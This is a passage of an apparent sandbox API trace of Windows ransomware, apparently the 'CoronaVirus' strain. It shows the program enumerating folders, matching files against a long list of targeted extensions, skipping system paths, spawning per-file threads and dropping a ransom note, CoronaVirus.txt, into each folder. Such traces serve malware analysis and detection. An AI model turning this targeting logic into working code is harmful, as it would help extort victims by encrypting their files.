	[0079.846] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0079.846] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0079.846] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.846] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0079.846] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0079.847] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.847] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0079.848] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.848] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0079.848] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.848] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0079.848] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.848] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0079.848] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.848] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0079.848] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.848] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0079.848] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.848] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0079.848] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.848] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0079.848] malloc (_Size=0x1000) returned 0x2f13060
	[0079.848] _swprintf (in: param_1=0x2f13060, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0079.848] wcsstr (_Str="C:\\588bce7c90097ed212\\1029\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0079.848] wcsstr (_Str="C:\\588bce7c90097ed212\\1029\\eula.rtf", _SubStr="wasse") returned 0x0
	[0079.848] wcsstr (_Str="C:\\588bce7c90097ed212\\1029\\eula.rtf", _SubStr="passw") returned 0x0
	[0079.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f13060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c
	[0079.848] SetThreadPriority (hThread=0x41c, nPriority=15) returned 1
	[0079.851] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0079.851] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0079.851] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0079.854] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.854] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0079.854] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.854] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0079.854] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.854] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0079.854] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.854] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0079.854] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.854] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0079.854] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.854] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0079.854] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.854] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0079.854] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.854] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0079.854] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.854] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0079.854] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.854] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0079.854] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.854] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0079.855] malloc (_Size=0x1000) returned 0x2f14068
	[0079.855] _swprintf (in: param_1=0x2f14068, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0079.855] wcsstr (_Str="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0079.855] wcsstr (_Str="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0079.855] wcsstr (_Str="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0079.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f14068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424
	[0079.856] SetThreadPriority (hThread=0x424, nPriority=15) returned 1
	[0079.857] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0079.857] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0079.857] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0079.857] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.857] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0079.857] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.857] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0079.857] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.857] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0079.857] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.857] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0079.857] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.858] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0079.858] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.864] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0079.864] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.864] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0079.864] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.864] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0079.864] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.864] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0079.864] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.864] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0079.864] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.870] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0079.870] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.870] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0079.870] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.874] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0079.874] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.875] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0079.875] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.875] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0079.875] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0079.876] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.876] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0079.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.877] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0079.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.878] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0079.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.878] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0079.878] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0079.878] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0079.878] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1030", cAlternateFileName="")) returned 1
	[0079.878] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0079.878] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0079.878] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1030") returned 26
	[0079.878] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0079.878] wcsstr (_Str="C:\\588bce7c90097ed212\\1030", _SubStr="Microsoft\\Windows") returned 0x0
	[0079.878] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1030\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0079.882] _alloca_probe () returned 0x4036d0
	[0079.883] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1030", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1030", lpFilePart=0x316583c*="1030") returned 0x1a
	[0079.883] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe8f7cbb5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600750
	[0079.883] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.883] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe8f7cbb5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.883] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.883] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f7cbb5, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe8f7cbb5, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0079.883] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0079.883] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0079.883] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.883] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0079.883] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.883] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0079.883] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.883] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0079.883] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.883] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0079.883] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.883] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0079.883] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.883] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0079.883] malloc (_Size=0x1000) returned 0x2f15290
	[0079.883] _swprintf (in: param_1=0x2f15290, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1030\\CoronaVirus.txt") returned 42
	[0079.884] wcsstr (_Str="C:\\588bce7c90097ed212\\1030\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0079.884] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0079.884] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0079.884] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0079.884] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.884] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0079.884] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.884] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0079.884] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.884] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0079.884] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.884] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0079.884] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.884] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
